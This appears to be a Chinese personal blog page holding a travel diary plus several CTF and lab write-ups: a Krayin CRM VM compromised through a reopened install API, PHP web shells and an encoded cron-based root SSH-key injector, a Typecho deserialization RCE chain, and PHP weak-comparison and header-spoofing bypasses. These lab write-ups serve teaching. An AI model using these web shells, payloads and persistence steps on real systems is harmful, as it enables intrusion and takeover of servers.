Clairis's Blog

Krayin2 靶机渗透记录

Thu, 22 Oct 2026 00:00:00 GMT

Krayin2

一、信息收集

端口枚举

nmap -Pn -sV -p- 192.168.56.124

扫描发现：

22/tcp  SSH
80/tcp  HTTP Apache/PHP

Web 应用为 Krayin CRM。

二、管理员账号接管

Krayin 安装接口：

POST /install/api/admin-config-setup

该接口在已安装状态下仍可通过 AJAX 请求访问。

请求头：

Content-Type: application/json
Accept: application/json
X-Requested-With: XMLHttpRequest

请求体：

{
  "admin": "clairis",
  "email": "clairis@qq.com",
  "password": "clairis"
}

接口响应：

说明管理员账号修改成功。

使用修改后的账号登录：

邮箱：clairis@qq.com
密码：clairis

登录地址：

http://192.168.56.124/admin/login

三、后台邮件附件任意文件上传

漏洞原理

邮件附件处理逻辑会保留客户端提交的原始文件名：

$name = $attachment->getClientOriginalName();
$path = 'emails/'.$email->id.'/'.$name;
Storage::put($path, $content);

因此上传名为：

user.php

的文件后，服务器仍会按照 .php 文件保存。

同时，Krayin 默认文件系统为：

FILESYSTEM_DISK=public

文件会保存到公开存储目录，并通过 /storage/ 路径访问。

四、查询flag位置

find.php文件内容

<?php
echo "<pre>";
passthru('find / -type f \( -name "user.txt" -o -name "root.txt" \) 2>/dev/null');
echo "</pre>";
?>

访问

http://192.168.56.124/storage/emails/4/find.php

得到user.txt文件位置

五、读取 User Flag

user.php 文件内容：

<?php echo file_get_contents("/home/krayin2/user.txt"); ?>

得到：

flag{user-264c3c61377a11b4e87719452871b4db}

root.txt 对 apache 不可读，需要提权

六、提权

apache 身份执行 cmd.php内容

<?php if(isset($_GET["c"])){ system($_GET["c"]." 2>&1"); } ?>

上传cmd.php并访问

http://192.168.56.124/storage/emails/5/cmd.php?c=id

确认注入点可写、定时任务存在

curl --get "http://192.168.56.124/storage/emails/5/cmd.php" --data-urlencode "c=ls -la /var/www/krayin/bootstrap/cache/config.php; echo ---; head -5 /usr/local/sbin/krayin-scheduler.sh"

root 的 cron 每分钟执行 /usr/local/sbin/krayin-scheduler.sh，内容为 cd /var/www/krayin && php83 artisan schedule:run；Laravel 启动时加载 bootstrap/cache/config.php。把 PHP 片段写到该文件头部，root 加载时就会执行。片段用 posix_geteuid()===0守卫，apache 的普通请求不会触发。
Kali 侧生成钥匙并注入公钥在kali生成新密钥对：

ssh-keygen -t ed25519 -f ~/rootk_kali -N ""

确认公钥内容（应以 ssh-ed25519 开头）：

PUB=$(cat ~/rootk_kali.pub); echo "PUB=[$PUB]"

用模板生成注入器（__PUB__ 替换为公钥），并确认文件里真有公钥：

echo 'PD9waHAKJHA9Jy92YXIvd3d3L2tyYXlpbi9ib290c3RyYXAvY2FjaGUvY29uZmlnLnBocCc7CiRsPWZpbGUoJHApOwp3aGlsZSgkbCAmJiBzdHJwb3MoJGxbMF0sIjw/cGhwIGlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZXVpZCcpIik9PT0wKXthcnJheV9zaGlmdCgkbCk7fQokYz1pbXBsb2RlKCcnLCRsKTsKJHg9Ijw/cGhwIGlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZXVpZCcpJiZwb3NpeF9nZXRldWlkKCk9PT0wKXtAbWtkaXIoJy9yb290Ly5zc2gnLDA3MDAsdHJ1ZSk7QGZpbGVfcHV0X2NvbnRlbnRzKCcvcm9vdC8uc3NoL2F1dGhvcml6ZWRfa2V5cycsXCJfX1BVQl9fXG5cIik7QGNobW9kKCcvcm9vdC8uc3NoJywwNzAwKTtAY2htb2QoJy9yb290Ly5zc2gvYXV0aG9yaXplZF9rZXlzJywwNjAwKTt9ID8+XG4iOwpmaWxlX3B1dF9jb250ZW50cygkcCwkeC4kYyk7CmVjaG8gImluamVjdGVkXG4iOwo=' | base64 -d | sed "s|__PUB__|$PUB|" > /tmp/inj_key.php; grep -c 'ssh-ed25519' /tmp/inj_key.php

输出 1 后继续。通过WebShell发送注入器

B64=$(base64 -w0 /tmp/inj_key.php); curl --get "http://192.168.56.124/storage/emails/5/cmd.php" --data-urlencode "c=echo '$B64' | base64 -d > /tmp/inj.php && /usr/bin/php83 /tmp/inj.php 2>&1"

输出 injected。再确认公钥确实写进了 config.php 头部：

curl --get "http://192.168.56.124/storage/emails/5/cmd.php" --data-urlencode "c=head -c 400 /var/www/krayin/bootstrap/cache/config.php"

Kali上SSH登录root 等一个cron周期后从kali连接

sleep 70;ssh -i ~/rootk_kali -o StrictHostKeyChecking=no root@192.168.56.124

得到root flag flag{root-da0436d5da0ca591f0cffe0e6936b64b}

国庆出游记录

Tue, 13 Oct 2026 00:00:00 GMT

前言

初中时地理老师会给我们放《航拍中国》，直升机视角下的山川湖泊、人文习俗给小小的我带来了极大的震撼与憧憬。但受限于学业繁重与父母对旅行并不感冒，所以在上大学前我也只是在小学的时候去过成都和昆明。高三后期最难熬的时候大家都在讨论高考假怎么旅游，但是高考完后被母亲无情泼了盆冷水。于是那个本该是最轻松最长最没有顾虑的暑假，我在家里面一边被迫听网课一边羡慕朋友圈的好朋友都在到处旅游。（虽然那时是因为还没有成年，但还是好可惜

后面来北京读书，最开始还是和几个高中好朋友有联系，但大家好像都比较胆小，国庆也只是约着在北京爬香山，没有人提出去别的地方旅游（其实提出了也不敢）。

胆子开始变大是在大一上学期末的时候，和另一位在天津的同学约好去找她玩。但很遗憾的是他们学院临时通知周末有活动，我又实在不甘心，约了位舍友在早上六点坐高铁去了天津。但那次又因为前一天睡太晚了，在天津吃了顿很多种类的早餐后困得不行在地铁上一直睡，最后草草吃了顿晚饭就回北京了。

从小对“杏花春雨江南”有着很强的滤镜，再加上中传的读书周和五一连放（读书周景区没什么人），于是在五一前一个月和舍友约好五一去苏州玩，参考了很多教程做了一份满满当当的攻略，但很可惜的是舍友临时有事，自己玩又不好玩，于是在放假前一天给妹妹和妈妈买了去上海的机票。可能是和妹妹差三岁和母亲差辈分（有代沟），五一之行的景色是很美的，当然心情也很好，但总感觉差一点趣味。

所以直到那时我都没有经历过一次和同龄人出去旅游的经历。

暑期线下实践汇聚了从各个学校各个地区来的大一大二大三的学生，在可能一百多人中我们十多个人在机缘巧合之下组成了一队。最开始我以为大家可能就工作上进行一些简单的交流，其他时候安静干活不会再有任何交流，十多个陌生人在北京待几天后又回到自己的学校自己的生活。关系拉近是在一天晚上，大家莫名其妙地聊到了专业，聊到了学校。当然仅靠一天晚上就拉近距离是不可能的，但后面确实组内氛围没有那么压抑了。

我是一个不是很爱社交的人，大学读了一年也没把班上同学认全，打游戏碰到厉害的网友也只是加上好友就没了。如果你在暑假前告诉我我之后会和三个外校的不是高中同学的人玩得很好，我会觉得你一点也不了解我。

但我确实在这十五天重新感受到了久违的高中的社交感觉——大家每天从早上八点到会场一直到下午六点才离开，中间这么长的时间都在一起。大家莫名其妙开始聊天，之后互相感叹为什么这么难，偷偷在不想完成任务时溜出去打王者荣耀（四个人有三个辅助一个射手，还一直输）……第一次七个人去玩密室逃脱出来后意犹未尽，决定第二天再去玩一次，但可惜的是第二次就只有四个人了。

我也是一个对友情很悲观的人，线下结束回家的路上我有点遗憾，我们暑期的王者小分队+密逃小分队可能就这么随着线下实践的结束而冷清了，但好像一直活到了现在。缘分真是一个很奇妙的东西。

于是我们在国庆前计划我们的国庆之旅，六天五城，我感受了不一样的旅行体验。接下来就是正文了。

（能和几个精力和消费习惯都相近的好朋友出去旅行真的很幸福）

行程梳理

日期	行程记录
10.2	去天津蓟县，下地铁时碰到鼠鼠；在天津吃羊汤，下午去九山顶玩，晚上回北京。
10.3	早上休息、收拾行李；下午坐高铁去沈阳，晚上吃刘牌牌烧烤。
10.4	早上坐高铁去本溪，租车前往关门山国家森林公园；晚上回沈阳去洗浴中心。
10.5	下午从沈阳租车开去营口。城区的海已经退潮，又开车五十多公里去找海；回酒店后在楼下打了一小时台球。
10.6	早上五点起床去鸟浪广场看红海滩和日出；坐高铁去长白山，中午到后放下行李，去露水河漂流。
10.7	爬长白山西坡看天池，去锦江大峡谷；晚上坐高铁回沈阳。
10.8	凌晨两点坐高铁回北京，早上六点到宿舍。

🍖 觅食组——嘴哥 📸 出片组——鼠鼠 📝 攻略组——园长 🎫 票务组——我

10.2——天津蓟州

六点起床赶火车，在下地铁时碰到了小伙伴鼠鼠，我们在极限卡点中成功上车。一个多小时的车程，我俩一个“举头望明月”，一个“低头思故乡”，竟然也能在吵吵闹闹的火车上睡着了。

:::div{.travel-gallery data-count="1"}

:::

下火车后因为园长还有一段时间才到，我们跟着嘴哥去吃了碗羊汤。羊汤挺香的而且不像预制菜，但有点可惜我不爱吃内脏（那个汤超级香超级好喝）

:::div{.travel-gallery data-count="1"}

:::

吃完了园长还没到，我们又在附近的独乐寺逛街，花15大洋买了碗超级难吃的刨冰（真的超级难吃，劣质水果罐头和颗粒有点大的冰）

:::div{.travel-gallery data-count="1"}

:::

最后我们三坐在路边，看路人逗弄他的超级可爱的小奶狗。最后在刨冰一半化水的时候等到了园长（园长没带眼镜第一眼没认出来）

:::div{.travel-gallery data-count="1"}

:::

既然来都来了，那去独乐寺看看吧。不过我们不信教，所以只是看看

:::div{.travel-gallery data-count="1"}

:::

吃完午饭后我们坐上嘴哥的爱车前往九山顶，一个半小时我们三在车上睡得不知天地为何物，徒留嘴哥一人开车。
九山顶真的很好玩！园长恐高，走玻璃栈道的时候一直拉着我的书包带子喊我走慢点；鼠子在坐滑索的时候跳手势舞；骑空中自行车但在中间被风吹的车一直晃；高空蹦床嬉戏，一直在喊不打了不打了但无人理会；漂流时园长一直在“乐迪加速”；坐小缆车回到半山腰，看到了超级美丽的晚霞（当然我拍的不好看）……最后我们又坐上嘴哥的爱车，在音乐中回到蓟县吃烧烤（超级超级超级好吃）

:::div{.travel-gallery data-count="3"}

:::

10.3——去沈阳

一直说着要收拾行李，最后在3号早上终于收拾完了；中午在大悦城找了家火锅店（山缓缓），只有漂亮没有饭，追求吃饱和性价比就算了。吃完火锅没赶上高铁，在发车前几分钟临时改签了。园长收拾东西时突然找不到房卡，最后到沈阳后从口袋里翻出来了。
去沈阳的高铁上网络竟然还不错，打了几把终极觉醒给园长展示了一手超标杨玉环。
到沈阳其实也才下午五六点但那边已经天黑了，在嘴哥的带领下我们去吃刘牌牌烧烤。好快乐，园长和嘴哥一直在烤肉，我什么都不用做专心品尝美食。碰到这种能做选择还会干活的好朋友就偷着乐吧

10.4——本溪

在小红书上看到本溪的枫叶很好看，我们又买了去本溪的高铁票，在本溪租了一辆又贵又臭的车开车去关门山森林公园，依旧嘴哥开车我们在车上睡觉。
花40坐小船欣赏了一公里的美景，又坐了一辆臭臭的景区大巴车上山，然后又花了应该两三个小时走下山。可能去的时间太早了，枫叶其实都没红但也挺好看的

:::div{.travel-gallery data-count="6"}

:::

回沈阳后去吃大名鼎鼎的铁锅炖，大家都饿的不行了结果菜上来后告诉我们要等一小时。很好吃超级好吃，还想吃。

:::div{.travel-gallery data-count="4"}

:::

吃完后去体验北方的洗浴文化，我这个纯种南方人很无措很羞耻很害怕（那个按摩按得我有点疼）

10.5——营口

5号等我们睡醒收拾完租好车已经下午了，原定的去营口海边看日落的计划被迫改为在高速路上追晚霞。于是我们听着吵吵闹闹的歌，聊着乱七八糟的话题——像回到了小时候，一群人开心地叽叽喳喳坐上去春游的车。

:::div{.travel-gallery data-count="2"}

:::

吃完晚饭后天已经很黑了，但大家一直惦记着我说没看过海，带我在城区找海无果，于是驱车到五十多公里外的海滨公园，光明正大地走过门禁，打着手机手电筒在漆黑的有点寒冷的夜里寻找能够下到海边的路。因为没有灯光污染，我第一次看见这么多这么亮的星星，在海边捡贝壳时被海水浸湿了鞋子，海浪裹挟着的风有股淡淡的鱼腥味。

:::div{.travel-gallery data-count="5"}

:::

真的特别感动
回去后酒店楼下的台球馆还没关门，我们想着多睡一小时少睡一小时一样困，索性又去台球馆玩了一小时。之前只在电视中看到过打台球，第一次上手我连球都戳不到（哭），玩了会终于能打到球了但台球馆要关门了，遗憾离场。

10.6——营口到长白山

回到酒店已经两点了，睡了三小时五点起床收拾东西去看日出。营口的红海滩真的很好看，但可惜我们的时间有点紧迫，刚到海边看了五分钟就得赶往高铁站了。

:::div{.travel-gallery data-count="4"}

:::

在高铁上园长鼠子和我三个命苦的孩子，一直在赶作业
中午十二点我们到达了白山市，刚下高铁就被震撼了，急匆匆到酒店放下行李就赶往露水河。

:::div{.travel-gallery data-count="2"}

:::

十多度的白山市，我以为我们的漂流是在船上看风景，但现实是四个人两艘船在松花江寒冷的江水中拿着水枪和浆板互相泼水，最后大家打着哆嗦回到了酒店。

:::div{.travel-gallery data-count="1"}

:::

10.7——长白山、回沈阳

7号计划爬西坡。我们运气挺好的，起床有点晚再加上收拾完后已经十一点了，赶到上车点刚好坐上上山的车。在经历了无数道山路十八弯后我们终于下车，花了40分钟爬一会歇一会终于到达山顶看到了天池。

:::div{.travel-gallery data-count="2"}

:::

快速跑下山的后果是我回来后腿疼了好几天
下山后急匆匆赶往锦江大峡谷，这里随处都是松鼠景色也很好看

:::div{.travel-gallery data-count="2"}

:::

松鼠你萌！
事已至此我的国庆旅游结束了，大家在下山的车上陷入婴儿般的睡眠，晚上八点回到沈阳吃了个散伙饭，凌晨两点我们三坐上了回北京的高铁

总结

游记总是容易絮絮叨叨写成流水账，我也知道其实这几千字没有重点也不知所云，但我舍不得，我怕我写的不够仔细的话后面就忘了。可能这篇文章别人看来只是一堆乱七八糟的碎碎念，但我相信在未来的某一天当我翻出这篇文章时，我会想起空无一人的海滩、高速路上的日落、车内的摇滚乐、湿透的好友们与爬上西坡后远处的一望无际的蓝。

高精力人群是这样的，两天睡了三小时还能去露水河打水仗，回酒店后又玩了几个小时的游戏，睡六小时又起床匆匆吃几个小面包爬西坡。

我的文笔不好，摘录一下鼠鼠的总结吧。

我们一起去做了许多“如果只有从前的我一个人，则绝对不对做”的事情。

我们在所到的城市租车，自驾去往各种想去的地方，穿梭于城市与城市、旅馆与景区、公路与高速、晴天与雨夜，伴着车载音响的乐声与路途上的欢声笑语。我们为去看那山中枫叶、追那大海、见那日升，可以专程驱车前往另一座城市，或寻得一个新旅馆歇脚，或趁晨间出发、沐夜色回程。

我们在沈阳体验洗浴中心，感受独属于东北地区的舒服与休息，甚至还感受了一波按摩。我们半夜凌晨到台球厅中，二对二进行新手与老手的台球对决。我们深夜围坐床边共同盘算第二天的行程，虽然只有园长在做决策，我只会说“我都行”。

我们踏上高架的玻璃栈桥，坐上穿越高空的山间滑索，骑坐高悬空中的脚踏自行车，嬉戏于密网织就的高空蹦床，甚至将高空啊野外啊峡谷啊什么的统统抛之脑后，用力踩着飞起，举着推着踢着撞着大过于人的充气大气球便决斗起来，包也不管了，衣服也不管了，摔倒砸到脸什么的也全然无所谓了，只一味地笑着闹着。

我们深夜驱车巡海，在荒凉而空无一人的漆黑夜色中，步上海边的石头，光明正大地潜入开放大门的海滨公园，举着手电走在海边栈道上，抬头仰望海边的星月夜，听海浪涛涛，还有闻夜间犬吠被吓得飞奔逃跑的夜间运动环节。

我们在白山露水河漂流激战，不记得寒冷与衣物，水战打到水穿过雨衣进入鞋里袜里衣服里裤子里，最后打着冷哆嗦靠几片暖宝宝和几杯热饮，带着命回到酒店。

我们还东拼西凑动车班次，中转多处只为在国庆期间能够去到长白山，能够回到北京赶上8号的早课。尤其是最后归程时坐上了凌晨近两点到五点的神奇车次，以至于我到宿舍倒头就睡最后还是翘掉了早八水课。

……

旅行的意义并不是告诉别人“这里我来过"
而是一种改变
旅行会改变人的气质
让人的目光变得更加长远
在旅途中
你会看到不同的人有不同的习惯
你才能了解到
并不是每个人都按照你的方式在生活

致谢

谢谢鼠鼠写下这段总结，也谢谢嘴哥、鼠鼠和园长分享沿途拍下的照片。那些来不及细记的风景和玩笑，因为你们的文字与镜头，成了以后还能一起翻看的回忆。

文案提供：鼠鼠

图片提供：嘴哥、鼠鼠、园长

十月每日一题

Tue, 13 Oct 2026 00:00:00 GMT

[陇剑杯 2021]简单日志分析（问1）

项目	内容
title	[陇剑杯 2021]简单日志分析（问1）
date	2026-10-01
category	`misc`
Flag	`NSSCTF{user}`

查看 app.log，发现多条 GET /?user=... 请求。对参数值进行 URL 解码和 Base64 解码，再静态分析 pickle 数据，可见其中包含 os.system 调用。第 89 行执行的命令是 whoami，后续请求还尝试读取文件，并包含反弹 shell 命令。

这些攻击请求都使用同一个查询参数名 user。题目问的是攻击参数名，因此答案为 user。

Flag：NSSCTF{user}

[长城杯 2021 院校组]签到

项目	内容
title	[长城杯 2021 院校组]签到
date	2026-10-02
category	`misc`
Flag	`NSSCTF{Welcome_to_changchengbe1}`

题目给出一串16进制编码，先进行Hex解码得到

ZmxhZ3tXZWxjb21lX3RvX2NoYW5nY2hlbmdiZTF9

再进行Base64解码得到flag

flag{Welcome_to_changchengbe1}

[GWCTF 2019]babyRSA

项目	内容
title	[GWCTF 2019]babyRSA
date	2026-10-03
category	`crypto`
Flag	`GWHT{f709e0e2cfe7e530ca8972959a1033b2}`

encrypt.py 中设定 q = nextprime(p)，所以 RSA 模数 N = p*q 的两个素因子很接近，可以用 Fermat 分解。计算 a = ceil(sqrt(N)) 后，a²-N 已经是平方数；得到因子后计算 phi(N) 和私钥指数 d，即可分别解密 m1、m2，得到：

S = F1 + F2
T = F1³ + F2³

利用恒等式 F1³ + F2³ = (F1+F2)³ - 3F1F2(F1+F2)，可算出 F1F2 = (S³-T)/(3S)。于是 F1、F2 是方程 x²-Sx+F1F2=0 的两个整数根。分别转回字节后，按 GWHT{ 前缀确定顺序，拼出 flag。

EXP

import math
import sys
import zipfile
from pathlib import Path

archive = Path(sys.argv[1]) if len(sys.argv) > 1 else Path("encrypt.zip")
with zipfile.ZipFile(archive) as zf:
    values = {}
    for line in zf.read("secret").decode().splitlines():
        key, value = line.split("=", 1)
        values[key] = int(value)

N, m1, m2 = values["N"], values["m1"], values["m2"]
e = 0x10001

a = math.isqrt(N)
if a * a < N:
    a += 1
while True:
    b2 = a * a - N
    b = math.isqrt(b2)
    if b * b == b2:
        p, q = a - b, a + b
        if p * q == N:
            break
    a += 1

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
S = pow(m1, d, N)
T = pow(m2, d, N)

assert (S**3 - T) % (3 * S) == 0
product = (S**3 - T) // (3 * S)
discriminant = S * S - 4 * product
root = math.isqrt(discriminant)
assert root * root == discriminant
F1, F2 = (S + root) // 2, (S - root) // 2

def long_to_bytes(n):
    return n.to_bytes((n.bit_length() + 7) // 8, "big")

parts = [long_to_bytes(F1), long_to_bytes(F2)]
for ordered in (parts, parts[::-1]):
    candidate = b"".join(ordered)
    if candidate.startswith(b"GWHT{") and candidate.endswith(b"}"):
        print(candidate.decode())
        break

GCCCTF的WP

Wed, 05 Aug 2026 00:00:00 GMT

Web

PHP签到

打开环境，根据

想了解更多系统信息？机器人总是遵循特定的协议和规则...

联想到robots.txt并进入robots.txt，再进入l34RNpHP.php看到源码

<?php

header('Content-Type: text/plain; charset=UTF-8');

if (!isset($_GET['user'], $_GET['token'], $_GET['sig'], $_GET['ts'], $_GET['nonce'])) {
    readfile(__FILE__);
    exit;
}

$user   = (string)$_GET['user'];
$token  = (string)$_GET['token'];
$sig    = (string)$_GET['sig'];
$ts     = (int)$_GET['ts'];
$nonce  = (string)$_GET['nonce'];

$xff = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? '';
if (strpos($xff, '127.0.0.1') === false && strpos($xff, '::1') === false) {
    exit('hacker!');
}

if (base64_decode($nonce) === false || !preg_match('/^[A-Za-z0-9+\/=]+$/', $nonce)) {
    exit('hacker!!');
}

if (time() - $ts <= 60) {
    // ok
} else {
    exit('expired!');
}

if (strpos($user, 'admin') == false) {

    $key = $_COOKIE['authkey'] ?? 'NULL';
    $mac = hash_hmac('md5', $user . $token . $ts, $key);

    if (substr($mac, 0, 6) == substr($sig, 0, 6)) {

        $stored_hash = '0e830400451993494058024219903391'; 
        if (md5($token) == $stored_hash) {
            @readfile('/flag');
        } else {
            exit('hacker!!!');
        }

    } else {
        exit('hacker!!!!');
    }

} else {
    exit('blocked user');
}

1‍⃣

$stored_hash = '0e830400451993494058024219903391'; 
 if (md5($token) == $stored_hash) {
     @readfile('/flag');
} else {
     exit('hacker!!!');
}

最终是要进入readfile('/flag')，必须要满足md5($token)==$stored_hash(php弱比较)
而在php弱比较中，0e830400451993494058024219903391 = 0 × 10^很多 = 0
所以md5(token)也长成”0e数字数字数字……"，经典值就是
QNKCDZO
所以token=QNKCDZO

2‍⃣


$key = $_COOKIE['authkey'] ?? 'NULL';
$mac = hash_hmac('md5', $user . $token . $ts, $key);

if (substr($mac, 0, 6) == substr($sig, 0, 6)) {

外层是if (substr($mac, 0, 6) == substr($sig, 0, 6)) {，所以不仅要让token通过md5，还要让签名sig也通过

而对于mac

$key = $_COOKIE['authkey'] ?? 'NULL';
$mac = hash_hmac('md5', $user . $token . $ts, $key);

mac：明文为user+token+ts的拼接字符串；密钥为key；加密方式为hash_hmac——所以想要得到mac，还需要知道key user ts
key：如果传了Cookie(比如Cookie:authkey=abc)，那么key就是Cookie，没有就是NULL；所以最简单的方法是不带authkey Cookie或者明确Cookie:authkey=NULL；这样key的值就是NULL

3‍⃣

if (strpos($user, 'admin') == false) {

strops为查找字符串，如果user='admin'，那么返回0(因为admin出现在第0位)
同时在PHP弱比较中0==false，所以strpos($user, 'admin') == false返回true
所以user=admin

4‍⃣选ts

if (time() - $ts <= 60) {
    // ok
} else {
    exit('expired!');
}

时间戳不能超过60秒，所以可以用当前时间戳但是也可以传入未来时间戳

ts=9999999999

那么

time() - $ts < 0

负数也小于0，所以也可以用ts=9999999999 关键是：计算sig用的ts，必须和URL里传的ts一模一样

5‍⃣

if (base64_decode($nonce) === false || !preg_match('/^[A-Za-z0-9+\/=]+$/', $nonce)) {
    exit('hacker!!');
}

要求nonce是Base64的样子所以随便给

nonce=MQ==

（MQ==解码后是1）

6‍⃣

$xff = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? '';
if (strpos($xff, '127.0.0.1') === false && strpos($xff, '::1') === false) {
    exit('hacker!');
}

所以抓包时加

X-Forwarded-For:127.0.0.1

ps：真的很害怕读源码😭

Misc

计小鸡的秘密

下载得到.pcap流量包，查看流量中的协议分布，发现有http协议，于是优先分析http协议
在其中发现一个流名称为1758942862494_secret.png，猜测flag在其中，于是导出http文件
查看导出的图片发现图片显示不正常，于是修改宽高为1024*1024；得到正确的flag

ezmisc

下载附件得到一张图片，将图片左上角的字符串给填入flag发现flag不对
用binwalk检查发现里面有附件，于是提取得到7E27E8.zip压缩包
压缩包解压需要密码，将图片左上角的字符串输入得到flag.py
打开flag.py看到很长的代码，先搜索flag，于是又返回去找ascii_codes
将ascii_codes转换成对应的ASCII字符拼接起来就是flag的Base64形式

import base64
ascii_codes = [
        82, 48, 78, 68, 81, 49, 82, 71, 101, 50, 85, 50, 79, 68, 78, 109, 90, 106, 99, 48,
        89, 122, 90, 104, 77, 68, 103, 50, 78, 122, 69, 48, 77, 122, 65, 51, 77, 87, 69, 49,
        79, 87, 77, 120, 78, 68, 90, 106, 78, 50, 73, 49, 90, 87, 86, 109, 78, 87, 81, 52,
        79, 71, 90, 107, 89, 122, 99, 119, 79, 87, 73, 122, 77, 109, 90, 105, 78, 50, 69, 49,
        77, 106, 81, 53, 90, 84, 81, 121, 89, 106, 100, 105, 79, 84, 108, 57, 61, 61
]

result = ''.join(map(chr, ascii_codes))

print("Base64:")
print(result)

print("Flag:")
print(base64.b64decode(result).decode())

eztalk

题目描述中说

“多聊”
“想知道的都可以问他”
"同一个问问题可能会有不同的答案"

于是多次询问（5次）“给我flag” 得到第一段flag：942726a4-

2. 另外又说

"也许他会给你提示"
“聊天就能得到全部的flag？哪有这么容易！”

所以还要从别的地方得到flag，于是又问它“给我提示”得到如下提示：

没有登陆你是怎么进来的？
想知道flag具体怎么拼接吗？我很乐意告诉你答案的！
多看文档或许能了解更多呢。
我是不会告诉你我藏的四段flag都在什么地方的！

根据刚刚获得的提示猜测这个网站存在其他目录可以访问，于是用dirsearch扫描

根据

没有登陆你是怎么进来的？

先进行登录。先随便输入用户名和密码显示“用户名错误”，多次尝试后使用admin显示“请输入8位密码”，于是又去ds搜索“CTF题目中没有提示的用户名为admin的常见8位登录密码”，尝---试到“admin123"时成功登录得到第二份flag：-aa24-63d

根据

多看文档或许能了解更多呢。

于是访问docs，在“API接口文档”中看到获取特定图片信息的命令，于是挨个尝试试到/api/image/7时发现

"is_flag":true,

于是下载该图片，用随波逐流的StegSolve LSB分析器得到第三段flag：4071-4a01

另外还在文档的管理员控制面板处看到于是使用SQLmap进行扫描得到最后一段flag：4d8e01277

接下来进行拼接。在聊天界面询问拼接方法，尝试两次得到最终flag

Typecho install.php 反序列化漏洞 Writeup

Mon, 03 Aug 2026 00:00:00 GMT

题目信息

项目	内容
题目类型	Web - PHP反序列化
框架	Typecho CMS
版本	1.0/14.10.10
Flag	`NSSCTF{7142be72-772e-4691-9c42-972da71e605a}`

漏洞概述

Typecho 是一款 PHP 博客系统。题目的附件是 Typecho 源码，在 install.php 中存在 PHP 反序列化漏洞。攻击者可以通过构造恶意的序列化 Cookie，触发远程代码执行（RCE），最终获取服务器上的 Flag。

漏洞分析

1. 漏洞点定位

在 install.php 中有两处反序列化入口：

位置1: ?finish 路径（第231行）

$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));

需要满足：config.inc.php 不存在，且 $_SESSION 已启动。

位置2: ?start 路径（第284行）

$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));

需要满足：config.inc.php 不存在，无需 session 检查。

两种路径都是从 Cookie __typecho_config 中读取 base64 编码的序列化数据 并执行 unserialize()，这构成了 PHP 反序列化漏洞入口。

2. CSRF 检查绕过

install.php 第63-76行有 Referer 检查：

if (!empty($_GET) || !empty($_POST)) {
    if (empty($_SERVER['HTTP_REFERER'])) { exit; }
    // 检查 Referer host 是否匹配 HTTP_HOST
}

绕过方式：由于是从 install.php 同页面发起 fetch() 请求，浏览器会自动携带正确的 Referer 头，无需额外处理。

3. Cookie 编码注意事项

Typecho_Cookie::set() 使用 rawurlencode() 编码 Cookie 值：

setrawcookie($key, rawurlencode($value), $expire, self::$_path);

而 PHP 的 $_COOKIE 超全局数组会自动 URL-decode Cookie 值。因此：

base64 中的 + 号会被 URL-decode 成空格
需要在 JavaScript 中使用 encodeURIComponent() 对 Cookie 值编码（+ → %2B），确保 PHP 解码后 base64 正确还原

4. Gadget Chain（利用链）

完整的反序列化利用链如下：

unserialize(base64_decode($_COOKIE['__typecho_config']))
    ↓
得到数组: ['adapter' => Typecho_Feed对象, 'prefix' => 'typecho_']
    ↓
explode('_', $config['adapter'])
    ↓ 对象转字符串触发 __toString()
Typecho_Feed::__toString()
    ↓ RSS2 分支第291行: $item['author']->screenName
Typecho_Request::__get('screenName')
    → get('screenName')
    → _applyFilter($command_string)
    ↓
call_user_func($filter, $command_string)
    ↓ 如 $filter='system', $command_string='cat /flag'
system('cat /flag') → RCE！

详细步骤：

Step 1 — 反序列化后得到：

['adapter' => Typecho_Feed对象, 'prefix' => 'typecho_']

Step 2 — install.php:284 调用 explode('_', $config['adapter'])： $config['adapter'] 是 Typecho_Feed 对象，explode() 第二个参数要求字符串，PHP 自动调用 __toString()。

Step 3 — Typecho_Feed::__toString() 在 RSS 2.0 分支中（第291行）：

// 题目作者添加的提示注释
// 给师傅们减轻负担QAQ，要加上$item['category'] = array(new Typecho_Request());
// 和$this->_type防止500
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;

访问 $item['author']->screenName，由于 $item['author'] 是 Typecho_Request 对象，触发 __get('screenName')。

Step 4 — Typecho_Request::get('screenName')：

public function get($key, $default = NULL) {
    $value = $this->_params[$key];  // 取出我们的命令字符串
    return $this->_applyFilter($value);
}

Step 5 — Typecho_Request::_applyFilter()（第159-171行）：

private function _applyFilter($value) {
    if ($this->_filter) {
        foreach ($this->_filter as $filter) {
            $value = call_user_func($filter, $value);
        }
    }
    return $value;
}

当 $filter = 'system'，$value = 'cat /flag' 时，执行 call_user_func('system', 'cat /flag')。

Step 6 — system('cat /flag') 执行系统命令，Flag 输出到 HTTP 响应中！

漏洞利用

Payload 结构

payload = {
    'adapter': Typecho_Feed(
        _type='RSS 2.0',
        _items=[{
            'author': Typecho_Request(
                _filter=['system'],         # ← 被 call_user_func 调用的函数
                _params={'screenName': 'cat /flag'},  # ← 传递给 system 的参数
            ),
            'title': 'test',
            'link': 'http://example.com',
            'date': 1234567890,
        }]
    ),
    'prefix': 'typecho_',
}
# serialized → base64 → set as Cookie

利用步骤

生成 Payload：使用 Python 脚本 exploit.py 构造 PHP 序列化 Payload，base64 编码后写入 Cookie
绕过 CSRF：在目标 install.php 页面通过浏览器 Console 执行 JavaScript 的 fetch()，同源请求自动携带 Referer
触发反序列化：设置 Cookie 为恶意 Payload 后，请求 install.php?start
获取 Flag：system('cat /flag') 在服务器上执行，输出出现在 HTTP 响应正文中

浏览器 Console 执行

最终使用的 JavaScript 代码（已写入 exploit_system.js）：

var p = "YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVj...";  // base64 payload
document.cookie = "__typecho_config=" + encodeURIComponent(p) + ";path=/";
fetch("install.php?start", {credentials: "include"})
  .then(r => r.text())
  .then(t => console.log(t));

利用结果

服务器返回的 HTTP 响应中直接包含 Flag：

NSSCTF{7142be72-772e-4691-9c42-972da71e605a}

关键问题与解决

问题	原因	解决方案
Cookie 值被破坏	base64 中的 `+` 经 PHP `$_COOKIE` URL-decode 后变成空格	使用 `encodeURIComponent()` 编码 Cookie 值
